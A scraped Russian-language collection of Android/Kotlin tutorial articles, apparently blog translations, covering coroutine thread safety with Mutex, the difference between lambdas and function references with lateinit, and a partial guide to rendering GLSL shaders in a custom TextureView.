Порядок операций в многопоточном приложении непредсказуем. Помимо оптимизации компилятора, которая может переупорядочить операции, запуск потоков в определенном порядке не гарантирован, а переключение контекста может происходить в любое время. Если при доступе к мутабельному состоянию не приняты необходимые меры предосторожности, потоки, помимо всего прочего, могут видеть устаревшие данные, потерять обновления или пострадать от состояния гонки.

Обратите внимание, что дискуссии на тему мутабельного состояния и порядка доступа не относятся исключительно к языку программирования Java. Они также влияют на корутины в других платформах.

Приложение, использующее корутины, по своей природе является многопоточным. Классы, которые используют корутины и содержат мутабельное состояние, должны принимать меры предосторожности для обеспечения предсказуемости, то есть гарантировать, что код, выполняемый в корутинах, видит самую последнюю версию данных. Таким образом, разные потоки не будут мешать друг другу. Проблемы с параллелизмом могут привести к очень тонким ошибкам, которые очень сложно дебажить в ваших приложениях, даже к гейзенбагам!

Подобные классы не редкость. Возможно, классу необходимо сохранить информацию о вошедшем в систему пользователю в памяти или кэшировать некоторые значения, пока приложение работает. Проблемы с параллелизмом могут возникать и в корутинах, если вы не будете осторожны! Не гарантировано, что функция приостановки (suspend) с использованием withContext(defaultDispatcher) всегда будет выполняться в одном и том же потоке!

Допустим, у нас есть класс, который кэширует транзакции пользователей. Если доступ к кэшу не происходит должным образом, как, например, ниже, могут возникнуть ошибки параллелизма:

class TransactionsRepository(  private val defaultDispatcher: CoroutineDispatcher = Dispatchers.Default) {  private val transactionsCache = mutableMapOf<User, List<Transaction>()  private suspend fun addTransaction(user: User, transaction: Transaction) =   // ОСТОРОЖНО! Доступ к кэшу не защищен.   // Возможны ошибки параллелизма: потоки могут видеть устаревшие данные   // и может возникнуть состояние гонки.    withContext(defaultDispatcher) {      if (transactionsCache.contains(user)) {        val oldList = transactionsCache[user]        val newList = oldList!!.toMutableList()        newList.add(transaction)        transactionsCache.put(user, newList)      } else {        transactionsCache.put(user, listOf(transaction))      }    }}

Даже если мы говорим о Kotlin, книга Параллелизм в Java на практике Брайана Гетца - отличный ресурс, чтобы узнать больше об этой теме и тонкостях параллелизма в системах языка программирования Java. Кроме того, у Jetbrains есть документация об общем мутабельном состоянии и параллелизме.

Защита мутабельного состояния

Как защитить мутабельное состояние или найти хорошую политику синхронизации, полностью зависит от природы данных и задействованных операций. В этом разделе рассказывается о проблемах параллелизма, с которыми вы можете столкнуться, вместо того, чтобы перечислять все различные способы и API для защиты мутабельного состояния. Тем не менее, вот несколько советов и API, с которых вы можете начать, чтобы сделать ваши мутабельные переменные потокобезопасными.

Инкапсуляция

Мутабельное состояние должно быть инкапсулировано и принадлежать классу. Этот класс централизует доступ к состоянию и будет защищать операции чтения и записи с помощью политики синхронизации, которая лучше соответствует варианту использования.

Привязка к потоку

Решением может быть ограничение доступа к чтению/записи всего до одного потока. Доступ к мутабельному состоянию может быть выполнен посредством производителя/потребителя (producer/consumer) с использованием очереди. У JetBrains есть хорошая документация по этой теме.

Не изобретайте колесо

В рантайме Android есть потокобезопасные структуры данных, которые можно использовать для защиты мутабельных переменных. Например, если вам нужен простой счетчик вы можете использовать AtomicInteger. Или, чтобы защитить map из фрагмента кода выше, вы можете использовать ConcurrentHashMap. ConcurrentHashMap - это потокобезопасная синхронизированная коллекция, которая оптимизирует пропускную способность чтения и записи в map.

Обратите внимание, что потокобезопасные структуры данных не защищают от проблем с упорядочением вызывающих объектов, они просто обеспечивают атомарный доступ к памяти. Они помогают избежать использования блокировок, если логика не слишком сложна. Например, их нельзя использовать в примере с transactionCache, показанном выше, потому что порядок операций и логика между ними требуют защиты потоков и доступа к данным.

Кроме того, данные в этих потокобезопасных структурах данных должны быть иммутабельными или защищенными, чтобы предотвратить состояние гонки при изменении уже хранящихся в них объектов.

Индивидуальные решения

Если у вас есть сложные действия, которые необходимо синхронизировать, @Volatile переменные или потокобезопасные структуры данных не помогут! И возможно, что встроенная аннотация @Synchronized недостаточно детализирована, чтобы сделать ваш вариант использования эффективным.

В этих случаях вам может потребоваться создать собственный механизм синхронизации с использованием параллельных утилит, таких как защелки (latches), семафоры (semaphores) или барьеры (barriers). В других случаях вы можете безоговорочно защитить многопоточный доступ к коду с помощью блокировок (locks) или мьютексов (mutexes).

Mutex в Котлин имеет функции приостановки lock и unlock, чтобы вы могли вручную защитить части кода вашей корутины. Удобно, что функция расширения Mutex.withLock упрощает нам работу:

class TransactionsRepository(  private val defaultDispatcher: CoroutineDispatcher = Dispatchers.Default) {  // Мьютекс, защищающий мутабельное состояние кэша  private val cacheMutex = Mutex()  private val transactionsCache = mutableMapOf<User, List<Transaction>()  private suspend fun addTransaction(user: User, transaction: Transaction) =    withContext(defaultDispatcher) {      // Мьютекс, защищающий мутабельное состояние кэша      cacheMutex.withLock {        if (transactionsCache.contains(user)) {          val oldList = transactionsCache[user]          val newList = oldList!!.toMutableList()          newList.add(transaction)          transactionsCache.put(user, newList)        } else {          transactionsCache.put(user, listOf(transaction))        }      }    }}

Корутина, приостанавливающая выполнение до тех пор, пока оно не будет продолжено, с использованием Mutex, намного эффективнее, чем блокировка языка программирования Java, которая полностью блокирует поток. Будьте осторожны при использовании классов синхронизации языка программирования Java в корутинах, так как это может заблокировать поток, в котором выполняется корутина, и тем самым создать проблемы с жизнеспособностью.

Блок кода, переданный билдеру корутин, в конечном итоге выполняется в одном или нескольких потоках. Таким образом, корутины работают в потоковой модели рантайма Android со всеми ее ограничениями. С помощью корутин все еще можно написать неправильный уязвимый многопоточный код. Так что следите за доступом к общему мутабельному состоянию в вашем коде!


Перевод статьи подготовлен в преддверии старта курса Android Developer. Basic.

Также приглашаем всех желающих записаться на бесплатный демо-урок по теме: "Хранение данных. Room"

Узнать подробнее о курсе Android Developer. Professional

Подробнее..

Kotlin. Лямбда vs Ссылка на функцию

10.03.2021 12:22:46 | Автор: admin

Kotlin уже давно стал основным языком программирования на Android. Одна из причин, почему мне нравится этот язык, это то, что функции в нем являются объектами первого класса. То есть функцию можно передать как параметр, использовать как возвращаемое значение и присвоить переменной. Также вместо функции можно передать так называемую лямбду. И недавно у меня возникла интересная проблема, связанная с заменой лямбды ссылкой на функцию.

Представим, что у нас есть класс Button, который в конструкторе получает как параметр функцию onClick

class Button(    private val onClick: () -> Unit) {    fun performClick() = onClick()}

И есть класс ButtonClickListener, который реализует логику нажатий на кнопку

class ButtonClickListener {    fun onClick() {        print("Кнопка нажата")    }}

В классе ScreenView у нас хранится переменная lateinit var listener: ButtonClickListener и создается кнопка, которой передается лямбда, внутри которой вызывается метод ButtonClickListener.onClick

class ScreenView {    lateinit var listener: ButtonClickListener    val button = Button { listener.onClick() }}

В методе main создаем объект ScreenView, инициализируем переменную listener и имитируем нажатие по кнопке

fun main() {    val screenView = ScreenView()    screenView.listener = ButtonClickListener()    screenView.button.performClick()}

После запуска приложения, все нормально отрабатывает и выводится строка "Кнопка нажата".

А теперь давайте вернемся в класс ScreenView и посмотрим на строку, где создается кнопка - val button = Button { listener.onClick() }. Вы могли заметить, что метод ButtonClickListener.onClick по сигнатуре схож с функцией onClick: () -> Unit, которую принимает конструктор нашей кнопки, а это значит, что мы можем заменить лямбда выражение ссылкой на функцию. В итоге получим

class ScreenView {    lateinit var listener: ButtonClickListener    val button = Button(listener::onClick)}

Но при запуске программа вылетает со следующей ошибкой - поле listener не инициализированно

Exception in thread "main" kotlin.UninitializedPropertyAccessException: lateinit property listener has not been initializedat lambdas.ScreenView.<init>(ScreenView.kt:6)at lambdas.ScreenViewKt.main(ScreenView.kt:10)at lambdas.ScreenViewKt.main(ScreenView.kt)

Чтобы понять в чем проблема, посмотрим чем отличается полученный Java код в обоих случаях. Опущу детали и покажу основную разницу.

При использовании лямбды создается анонимный класс Function0 и в методе invoke вызывается код, который мы передали в нашу лямбду. В нашем случае - listener.onClick()

private final Button button = new Button((Function0)(new Function0() {    public final void invoke() {       ScreenView.this.getListener().onClick();    }}));

То есть если мы передаем лямбду, наша переменная listener будет использована после имитации нажатия и она уже будет инициализирована.

А вот что происходит при использовании ссылки на функцию. Тут также создается анонимный класс Function0, но если посмотреть на метод invoke(), то мы заметим, что метод onClick вызывается на переменной this.receiver. Поле receiver принадлежит классу Function0 и должно проинициализироваться переменной listener, но так как переменная listener является lateinit переменной, то перед инициализацией receiver-а происходит проверка переменной listener на null и выброс ошибки, так как она пока не инициализирована. Поэтому наша программа завершается с ошибкой.

Button var10001 = new Button;Function0 var10003 = new Function0() {   public final void invoke() {      ((ButtonClickListener)this.receiver).onClick();   }};ButtonClickListener var10005 = this.listener;if (var10005 == null) {   Intrinsics.throwUninitializedPropertyAccessException("listener");}var10003.<init>(var10005);var10001.<init>((Function0)var10003);this.button = var10001;

То есть разница между лямбдой и ссылкой на функцию заключается в том, что при передаче ссылки на функцию, переменная, на метод которой мы ссылаемся, фиксируется при создании, а не при выполнении, как это происходит при передаче лямбды.

Отсюда вытекает следующая интересная задача: Что напечатается после запуска программы?

class Button(    private val onClick: () -> Unit) {    fun performClick() = onClick()}class ButtonClickListener(    private val name: String) {    fun onClick() {        print(name)    }}class ScreenView {    var listener = ButtonClickListener("First")    val buttonLambda = Button { listener.onClick() }    val buttonReference = Button(listener::onClick)}fun main() {    val screenView = ScreenView()    screenView.listener = ButtonClickListener("Second")    screenView.buttonLambda.performClick()    screenView.buttonReference.performClick()}
  1. FirstFirst

  2. FirstSecond

  3. SecondFirst

  4. SecondSecond

Ответ

3

Спасибо за прочтение, надеюсь кому-то было интересно и полезно!

Подробнее..

Перевод Как можно использовать шейдеры в Android View и как Android View может использовать шейдеры

22.03.2021 18:15:22 | Автор: admin

Перевод статьи подготовлен в преддверии старта курсов "Android Developer. Basic" и "Android Developer. Professional".


Для полноценной работы с динамическими элементами пользовательского интерфейса, которые используют тени, фильтры в реальном времени для фото или видео, или адаптивный пользовательский интерфейс и освещение, недостаточно использовать только Canvas. Было бы куда лучше, если бы у нас в распоряжении было что-то помощнее. Раньше мы могли использовать RenderScript, но поддерживается ли он сейчас?

В этой статье я расскажу как использовать стандартные GLSL шейдеры OpenGL в вашем пользовательском view, которое является наследником класса Android View (android.view.View). Я предлагаю вам использовать это решение, если вы работаете над чем-нибудь из нижеперечисленного:

  • Шейдеры или коррекция цвета в реальном времени для видеопотоков.

  • Динамические тени и освещение для кастомных элементов пользовательского интерфейса.

  • Продвинутая попиксельная анимация.

  • Какие-либо эффекты пользовательского интерфейса, наподобие размытия (blurring), искажения (distortion), пикселизации и т. д.

  • Если вы создаете новый нейроморфный адаптивный пользовательский интерфейс.

Это решение предоставит вам надежную среду и множество примеров шейдеров, которые вы можете легко использовать в своем приложении. И я покажу вам, как легко это сделать!

Идея

Нам нужно, чтобы в нашем стандартном лэйауте лежал класс, который ведет себя так же, как Android View (android.view.View), и мы cможем использовать фрагментный шейдер OpenGL для визуализации его содержимого.

Демо

Демо-приложение с несколькими ShaderViews. Динамический свет и видео фильтры.

Как это работает на абстрактном примере

Предположим, мы хотим заказать у одного известного художника новую картину, написанную волшебными красками, и повесить ее на стену. Что мы имеем в нашей ситуации:

  • Волшебные краски GLSL шейдеры OpenGL.

  • Холст четырехугольник, который заполнит все пространство нашего кастомного view.

  • Известный художник класс, реализующий интерфейс Render. Этот художник, в свою очередь, использует волшебные краски, чтобы нарисовать картину на холсте.

  • Картина кастомный view-класс, который задействует художника с его/ее холстом и волшебными красками.

  • Стена Activity или Fragment android.

Как это работает с технической точки зрения

  1. Давайте выберем родительский view для нашего кастомного view-класса (кстати, мы назовем наш view-класс ShaderView). Тут у нас есть два варианта: SurfaceView и TextureView. Я вернусь к разнице между ними через пару мгновений.

  2. Создадим класс Render, который будет отображать view с использованием шейдеров.

  3. Создадим 3D-модель четырехугольника (quadrangle), который заполнит все пространство view (3D, поскольку OpenGL был создан для 3D-сцен). Не беспокойтесь об этом; это стандартное решение, и с ним не связано никаких трудностей.

Четырехугольник OpenGL внутри TextureView.Четырехугольник OpenGL внутри TextureView.

SurfaceView или TextureView

SurfaceView и TextureView оба наследуются от класса Android View, но между ними есть некоторые различия.

На сегодняшний день SurfaceView имеет класс наследник, который отлично работает с OpenGL и обеспечивает отличную производительность. Этот класс называется GLSurfaceView. Но главная проблема этого класса в том, что мы не можем перекрывать один GLSurfaceView другим. Следовательно, мы не можем использовать его в нашей иерархии лейаутов, и мы не можем преобразовывать, анимировать или масштабировать view таким образом.

TextureView ведет себя как обычный android.view.View, и вы можете анимировать, преобразовывать, масштабировать или даже наслаивать его с другими экземплярами. Но это преимущество дается на ценой потребления большего количества памяти, чем SurfaceView, и вы теряете в производительности (в среднем 13 кадра).

Возвращаясь к сути вопроса, поскольку мы хотели, чтобы наше кастомное view вело себя как обычное view Android, мы должны использовать TextureView.

Следующая проблема для нас заключается в том, что нет встроенного класса, который использует OpenGL render и TextureView. Но не спешите расстраиваться GLSurfaceView подходит как раз для того, что нам нужно, но только с SurfaceView, поэтому давайте поразмыслим о том, как мы можем использовать этот класс для нашего собственного GLTextureView.

Создание GLTextureView

Итак, в GLSurfaceView есть почти все, что нам нужно для рендеринга OpenGL. Нам всего лишь нужно скопировать пригодный код в наш класс и внести некоторые изменения.

  1. Создайте новый класс GLTextureView.kt, который наследуется от TextureView и расширяет TextureView.SurfaceTextureListener и View.OnLayoutChangeListener. Добавьте конструкторы.

open class GLTextureView @JvmOverloads constructor(    context: Context,    attrs: AttributeSet? = null,    defStyleAttr: Int = 0) :    TextureView(context, attrs, defStyleAttr),    TextureView.SurfaceTextureListener,    View.OnLayoutChangeListener {}

GLTextureView.kt на GitHub

5. Обновите метод finalize() до стандарта Kotlin. (Если у вас есть лучшее решение, напишите в комментариях).

6. Замените SurfaceHolder на SurfaceTexture.

7. Замените все упоминания GLSurfaceView на GLTextureView.

8. Обновите импорты, исключая использование GLSurfaceView. Также проверьте оставшиеся импорты и удалите все, что связано с GLSurfaceView.

9. Устранение проблемы с допустимостью нулевых значений после автоматического преобразования кода Java в Kotlin. В моем случае мне пришлось обновить методы переопределения и некоторые параметры, допускающие значение NULL (например, egl: EGL10 должно быть egl: EGL10?).

10. Переместите константы в объект-компаньон или на верхний уровень.

11. Удалите неподдерживаемые аннотации.

12. Добавьте методы интерфейса SurfaceTextureListener.

 override fun onSurfaceTextureAvailable(surface: SurfaceTexture, width: Int, height: Int) {        surfaceCreated(surface)        surfaceChanged(surface, 0, width, height)    }    override fun onSurfaceTextureSizeChanged(surface: SurfaceTexture, width: Int, height: Int) {        surfaceChanged(surface, 0, width, height)    }    override fun onSurfaceTextureDestroyed(surface: SurfaceTexture): Boolean {        surfaceDestroyed(surface)        return true    }    override fun onSurfaceTextureUpdated(surface: SurfaceTexture) {    }

GLTextureView.kt на GitHub

13. В createSurface() вы наткнетесь на неработающую строчку, замените view.holder на view.surfaceTexture.

14. Переопределите onLayoutChange.

 override fun onLayoutChange(        v: View?, left: Int, top: Int,        right: Int,        bottom: Int,        oldLeft: Int,        oldTop: Int,        oldRight: Int,        oldBottom: Int    ) {        surfaceChanged(surfaceTexture, 0, right - left, bottom - top)    }

GLTextureView.kt на GitHub

В результате у вас получится что-то вроде этого.

Расширения

Чтобы облегчить себе работу, мы создадим расширения, которые загружают исходный код шейдера из каталога ресурсов.

fun Resources.getRawTextFile(@RawRes resource: Int): String =   openRawResource(resource).bufferedReader().use { it.readText() }

extensions.kt на GitHub

Код шейдеров

В этой статье мы будем использовать самые простые шейдеры, чтобы сделать наш код менее сложным. Если вас интересуют более сложные шейдеры, вы можете найти их здесь или здесь.

Вершинный шейдер (Vertex Shader)

Для наших целей нам достаточно простого вершинного шейдера для рендеринга нашего четырехугольника (мы не потратим кучу времени на его код).

#version 300 esuniform mat4 uMVPMatrix;uniform mat4 uSTMatrix;in vec3 inPosition;in vec2 inTextureCoord;out vec2 textureCoord;void main() {   gl_Position = uMVPMatrix * vec4(inPosition.xyz, 1);   textureCoord = (uSTMatrix * vec4(inTextureCoord.xy, 0, 0)).xy;}

vertex.vsh на GitHub

Фрагментный/пиксельный шейдер (Fragment Shader)

Код довольно прост, но давайте посмотрим, что у нас здесь есть.

Прежде всего, мы определяем версию GLSL.

#version 300 es

Затем мы определяем пользовательские параметры, которые мы собираемся отправить шейдеру.

uniform vec4 uMyUniform;

Определяем параметры ввода и вывода для нашего фрагментного шейдера. In что мы получаем от вершинного шейдера (в нашем случае координаты текстуры), а out что отправляем в результате (цвет пикселя).

in vec2 textureCoord;out vec4 fragColor;

Теперь напишем функцию, которая будет выполняться для каждого пикселя нашего Android View и возвращать его цвет.

void main() {   fragColor = vec4(textureCoord.x, textureCoord.y, 1.0, 1.0) * uMyUniform;}

В результате мы получим следующее:

#version 300 esprecision mediump float;uniform vec4 uMyUniform;in vec2 textureCoord;out vec4 fragColor;void main() {    fragColor = vec4(textureCoord.x, textureCoord.y, 1.0, 1.0) * uMyUniform;}

fragment_shader.fsh на GitHub

QuadRender

Следующий класс, который нам понадобится, это класс рендеринга. Этот класс будет отрисовывать четырехугольник размера ShaderView с помощью шейдеров.

Четырехугольник OpenGL в проекции камеры. Камера это точка зрения пользователя, который смотрит на устройство.

Наш класс должен расширить интерфейс GLTextureView.Renderer тремя методами:

onSurfaceCreated() Создает программу шейдера, связывает некоторые параметры формы (uniform) и отправляет атрибуты в вершинный шейдер.

onDrawFrame() Обновление на каждом кадре. В этом методе мы отрисовываем четырехугольник экрана и при необходимости обновляем параметры формы.

onSurfaceChanged() Обновляет вьюпорт.

Итак, давайте будем писать код шаг за шагом. Я не буду вдаваться в подробное описание того, как работает OpenGL, потому что это выходит за рамки данной статьи. Я также хочу упомянуть, что мы фокусируемся только на фрагментном шейдере и не касаемся деталей вершинного шейдера, так как они должны быть одинаковыми практически для любых возможных требований фрагментного шейдера.

Определите константы.

private const val FLOAT_SIZE_BYTES = 4 // размер Floatprivate const val TRIANGLE_VERTICES_DATA_STRIDE_BYTES = 5 * FLOAT_SIZE_BYTES // 5 floatов для каждой вершины (3 floatа на позицию и 2 на координаты текстуры)private const val TRIANGLE_VERTICES_DATA_POS_OFFSET = 0 // позиция начинается с начала массива каждой вершиныprivate const val TRIANGLE_VERTICES_DATA_UV_OFFSET = 3 // координаты текстуры начиная с 3-го floatа (4-й и 5-й floatы)// атрибуты вершинного шейдераconst val VERTEX_SHADER_IN_POSITION = "inPosition"const val VERTEX_SHADER_IN_TEXTURE_COORD = "inTextureCoord"const val VERTEX_SHADER_UNIFORM_MATRIX_MVP = "uMVPMatrix"const val VERTEX_SHADER_UNIFORM_MATRIX_STM = "uSTMatrix"const val FRAGMENT_SHADER_UNIFORM_MY_UNIFORM = "uMyUniform"private const val UNKNOWN_PROGRAM = -1private const val UNKNOWN_ATTRIBUTE = -1

QuadRender.kt на GitHub

Две переменные, которые будут содержать исходный код наших вершинного и фрагментного шейдеров.

private var vertexShaderSource : String, // исходный код вершинного шейдераprivate var fragmentShaderSource : String, // исходный код фрагментного шейдераQuadRender.kt на GitHub

Определите список вершин для буфера вершин.

private val quadVertices: FloatBufferinit {// задаем массив вершин четырехугольникаval quadVerticesData = floatArrayOf(// [x,y,z, U,V]-1.0f, -1.0f, 0f, 0f, 1f,1.0f, -1.0f, 0f, 1f, 1f,-1.0f, 1.0f, 0f, 0f, 0f,1.0f, 1.0f, 0f, 1f, 0f)quadVertices = ByteBuffer.allocateDirect(quadVerticesData.size * FLOAT_SIZE_BYTES).order(ByteOrder.nativeOrder()).asFloatBuffer().apply {put(quadVerticesData).position(0)}}

QuadRender.kt на GitHub

Определите матрицы.

private val matrixMVP = FloatArray(16)private val matrixSTM = FloatArray(16)

QuadRender.kt на GitHub

И добавить инициализацию в init{} блок.

init {// код, который мы добавили ранееMatrix.setIdentityM(matrixSTM, 0)}

QuadRender.kt на GitHub

Вершинный шейдер, атрибуты вершин и расположение матриц.

private var inPositionHandle = UNKNOWN_ATTRIBUTEprivate var inTextureHandle = UNKNOWN_ATTRIBUTEprivate var uMVPMatrixHandle = UNKNOWN_ATTRIBUTEprivate var uSTMatrixHandle = UNKNOWN_ATTRIBUTEprivate var uMyUniform = UNKNOWN_ATTRIBUTE

QuadRender.kt на GitHub

Локатор программы шейдера.

private var program = UNKNOWN_PROGRAM

QuadRender.kt на GitHub

Отлично, мы закончили с инициализацией. Теперь давайте напишем метод onSurfaceCreated(). Мы загрузим и инициализируем наши шейдеры и получим указатели для атрибутов, включая параметр формы uMyUniform, который мы будем использовать для отправки некоторых пользовательских векторных данных во фрагментный шейдер.

override fun onSurfaceCreated(gl: GL10?, config: EGLConfig?) {//создаем программу шейдера из исходного кодаcreateProgram(vertexShaderSource, fragmentShaderSource)// связываем вектор атрибутов шейдераinPositionHandle = GLES20.glGetAttribLocation(program, VERTEX_SHADER_IN_POSITION)checkGlError("glGetAttribLocation $VERTEX_SHADER_IN_POSITION")if (inPositionHandle == UNKNOWN_ATTRIBUTE) throw RuntimeException("Could not get attrib location for $VERTEX_SHADER_IN_POSITION")inTextureHandle = GLES20.glGetAttribLocation(program, VERTEX_SHADER_IN_TEXTURE_COORD)checkGlError("glGetAttribLocation $VERTEX_SHADER_IN_TEXTURE_COORD")if (inTextureHandle == UNKNOWN_ATTRIBUTE) throw RuntimeException("Could not get attrib location for $VERTEX_SHADER_IN_TEXTURE_COORD")uMVPMatrixHandle = GLES20.glGetUniformLocation(program, VERTEX_SHADER_UNIFORM_MATRIX_MVP)checkGlError("glGetUniformLocation $VERTEX_SHADER_UNIFORM_MATRIX_MVP")if (uMVPMatrixHandle == UNKNOWN_ATTRIBUTE) throw RuntimeException("Could not get uniform location for $VERTEX_SHADER_UNIFORM_MATRIX_MVP")uSTMatrixHandle = GLES20.glGetUniformLocation(program, VERTEX_SHADER_UNIFORM_MATRIX_STM)checkGlError("glGetUniformLocation $VERTEX_SHADER_UNIFORM_MATRIX_STM")if (uSTMatrixHandle == UNKNOWN_ATTRIBUTE) throw RuntimeException("Could not get uniform location for $VERTEX_SHADER_UNIFORM_MATRIX_STM")// (!) связываем атрибуты фрагментного шейдераuMyUniform = GLES30.glGetUniformLocation(program, FRAGMENT_SHADER_UNIFORM_MY_UNIFORM)checkGlError("glGetUniformLocation $FRAGMENT_SHADER_UNIFORM_MY_UNIFORM")if (uMyUniform == UNKNOWN_ATTRIBUTE) throw RuntimeException("Could not get uniform location for $FRAGMENT_SHADER_UNIFORM_MY_UNIFORM")}

QuadRender.kt на GitHub

Обратите внимание на последние три строки, где мы получаем расположение нашей кастомной формы (uMyUniform) для фрагментного шейдера. Для более сложных шейдеров нам придется добавить больше таких параметров.

В onSurfaceCreated() мы использовали специальные методы для создания и связывания программы.

/*** Создаем программу шейдера из исходного кода вершинного и фрагментного шейдера*/private fun createProgram(vertexSource: String, fragmentSource: String): Boolean {if (program != UNKNOWN_PROGRAM) {// удаляем программуGLES30.glDeleteProgram(program)program = UNKNOWN_PROGRAM}// загружаем вершинный шейдерval vertexShader = loadShader(GLES30.GL_VERTEX_SHADER, vertexSource)if (vertexShader == UNKNOWN_PROGRAM) {return false}// загружаем фрагментный шейдерval pixelShader = loadShader(GLES30.GL_FRAGMENT_SHADER, fragmentSource)if (pixelShader == UNKNOWN_PROGRAM) {return false}program = GLES30.glCreateProgram()if (program != UNKNOWN_PROGRAM) {GLES30.glAttachShader(program, vertexShader)checkGlError("glAttachShader: vertex")GLES30.glAttachShader(program, pixelShader)checkGlError("glAttachShader: pixel")return linkProgram()}return true}private fun linkProgram(): Boolean {if (program == UNKNOWN_PROGRAM) {return false}GLES30.glLinkProgram(program)val linkStatus = IntArray(1)GLES30.glGetProgramiv(program, GLES30.GL_LINK_STATUS, linkStatus, 0)if (linkStatus[0] != GLES30.GL_TRUE) {Log.e(TAG, "Could not link program: ")Log.e(TAG, GLES30.glGetProgramInfoLog(program))GLES30.glDeleteProgram(program)program = UNKNOWN_PROGRAMreturn false}return true}private fun loadShader(shaderType: Int, source: String): Int {var shader = GLES30.glCreateShader(shaderType)if (shader != UNKNOWN_PROGRAM) {GLES30.glShaderSource(shader, source)GLES30.glCompileShader(shader)val compiled = IntArray(1)GLES30.glGetShaderiv(shader, GLES30.GL_COMPILE_STATUS, compiled, 0)if (compiled[0] == UNKNOWN_PROGRAM) {Log.e(TAG, "Could not compile shader $shaderType:")Log.e(TAG, GLES30.glGetShaderInfoLog(shader))GLES30.glDeleteShader(shader)shader = UNKNOWN_PROGRAM}}return shader}private fun checkGlError(op: String) {var error: Intwhile (GLES30.glGetError().also { error = it } != GLES30.GL_NO_ERROR) {Log.e(TAG, "$op: glError $error")throw RuntimeException("$op: glError $error")}

QuadRender.kt на GitHub

Следующий метод, который мы должны реализовать, это onDrawFrame().

override fun onDrawFrame(gl: GL10?) {// очищаем наш "экран"GLES30.glClearColor(0.0f, 0.0f, 0.0f, 0.0f)GLES30.glClear(GLES30.GL_DEPTH_BUFFER_BIT or GLES30.GL_COLOR_BUFFER_BIT)// используем программуGLES30.glUseProgram(program)// устанавливаем ввод шейдера (встроенные атрибуты)setAttribute(inPositionHandle, VERTEX_SHADER_IN_POSITION, 3, TRIANGLE_VERTICES_DATA_POS_OFFSET) // 3 потому что 3 floatа на позициюsetAttribute(inTextureHandle, VERTEX_SHADER_IN_TEXTURE_COORD, 2, TRIANGLE_VERTICES_DATA_UV_OFFSET) // 2 потому что 2 floatа на координаты текстуры// обновляем матрицуMatrix.setIdentityM(matrixMVP, 0)GLES30.glUniformMatrix4fv(uMVPMatrixHandle, 1, false, matrixMVP, 0)GLES30.glUniformMatrix4fv(uSTMatrixHandle, 1, false, matrixSTM, 0)// (!) обновляем формы для фрагментного шейдераval uMyUniformValue = floatArrayOf(1.0f, 0.75f, 0.95f, 1f) // некоторые значения, которые мы собираемся передать фрагментному шейдеруGLES30.glUniform4fv(uMyUniform, 1, uMyUniformValue, 0)// активируем смешивание текстур (для поддержки прозрачности)GLES30.glBlendFunc(GLES30.GL_SRC_ALPHA, GLES30.GL_ONE_MINUS_SRC_ALPHA)GLES30.glEnable(GLES20.GL_BLEND)// отрисовываем наши четырехугольникиGLES30.glDrawArrays(GLES30.GL_TRIANGLE_STRIP, 0, 4)checkGlError("glDrawArrays")GLES30.glFinish()}

QuadRender.kt на GitHub

Обратите внимание на строки, в которых мы отправляем кастомное значение (uMyUniformValue) в форму (uMyUniform) во фрагментный шейдер.

И последнее, surfaceChange() довольно простой метод.

override fun onSurfaceChanged(gl: GL10?, width: Int, height: Int) {GLES30.glViewport(0, 0, width, height)}

QuadRender.kt на GitHub

Полный код этого класса вы можете найти здесь.

ShaderView

Отлично, все, что нам нужно для нашего ShaderView, готово. Теперь мы можем использовать мощь фрагментного шейдера для рендеринга его содержимого! Создадим ShaderView.

private const val OPENGL_VERSION = 3class ShaderView @JvmOverloads constructor(context: Context,attrs: AttributeSet? = null,defStyleAttr: Int = 0) :GLTextureView(context, attrs, defStyleAttr) {init {// определяем версию OpenGLsetEGLContextClientVersion(OPENGL_VERSION)// загружаем исходный код шейдеров из файловval vsh = context.resources.getRawTextFile(R.raw.vertex_shader)val fsh = context.resources.getRawTextFile(R.raw.fragment_shader)// устанавливаем рендерерsetRenderer(QuadRender(vertexShaderSource = vsh, fragmentShaderSource = fsh))// устанавливаем режим рендеринга RENDERMODE_WHEN_DIRTY или RENDERMODE_CONTINUOUSLYsetRenderMode(GLSurfaceView.RENDERMODE_WHEN_DIRTY) // или GLSurfaceView.RENDERMODE_CONTINUOUSLY если нужно обновлять его на каждом кадре}}

ShaderView.kt на GitHub

Дополнительно: Использование текстур в фрагментных шейдерах

Приятно, что мы научились общаться и работать с фрагментными шейдерами, но во многих случаях вам приходится иметь дело с текстурами (например, для размытия или других видеоэффектов).

Вам нужно определить форму во фрагментном шейдере как sampler2D и получить текущий пиксель текстуры по координатам текстуры с помощью метода texture() из GLSL.

Вот полный код шейдера.

#version 300 esprecision mediump float;uniform sampler2D uTexture;in vec2 textureCoord;out vec4 fragColor;void main() {fragColor = texture(uTexture, textureCoord);}

fragment_texture_shader.fsh на GitHub

Затем нам понадобятся два расширения для загрузки и использования растрового изображения в качестве текстур OpenGL.

fun Resources.loadBitmapForTexture(@DrawableRes drawableRes: Int): Bitmap {val options = BitmapFactory.Options()options.inScaled = false // по умолчанию true. false, если нам нужно масштабируемое изображение// загрузка из ресурсовreturn BitmapFactory.decodeResource(this, drawableRes, options)}/*** Загрузка текстуры из Bitmap и запись ее в видеопамять* @needToRecycle - нужно ли нам повторно использовать текущий Bitmap, когда пишем это GPI?*/@Throws(RuntimeException::class)fun Bitmap.toGlTexture(needToRecycle: Boolean = true, textureSlot: Int = GLES30.GL_TEXTURE0): Int {// инициализация текстурыval textureIds = IntArray(1)GLES30.glGenTextures(1, textureIds, 0) // генерируем ID для текстурыif (textureIds[0] == 0) {throw java.lang.RuntimeException("It's not possible to generate ID for texture")}   GLES30.glActiveTexture(textureSlot) // активируем слот #0 для текстурыGLES30.glBindTexture(GLES30.GL_TEXTURE_2D, textureIds[0]) // привязываем текстуру по ID к активному слоту// фильтры текстурыGLES30.glTexParameteri(GLES30.GL_TEXTURE_2D, GLES30.GL_TEXTURE_MIN_FILTER, GLES30.GL_LINEAR)GLES30.glTexParameteri(GLES30.GL_TEXTURE_2D, GLES30.GL_TEXTURE_MAG_FILTER, GLES30.GL_LINEAR)// записываем растровое изображение в GPUGLUtils.texImage2D(GLES20.GL_TEXTURE_2D, 0, this, 0)// нам больше не нужно это растровое изображениеif (needToRecycle) {this.recycle()}// отвязываем текстуру от слотаGLES30.glBindTexture(GLES30.GL_TEXTURE_2D, 0)return textureIds[0]}

extensions.kt на GitHub

Теперь мы готовы загрузить текстуру из каталога ресурсов в виде растрового изображения (bitmap), используя loadBitmapForTexture(), а затем метод QuadRender.onSurfaceCreated(). Мы привяжем текстуру к слоту текстуры OpenGL (доступны слоты от GL_TEXTURE0 до GL_TEXTURE31).

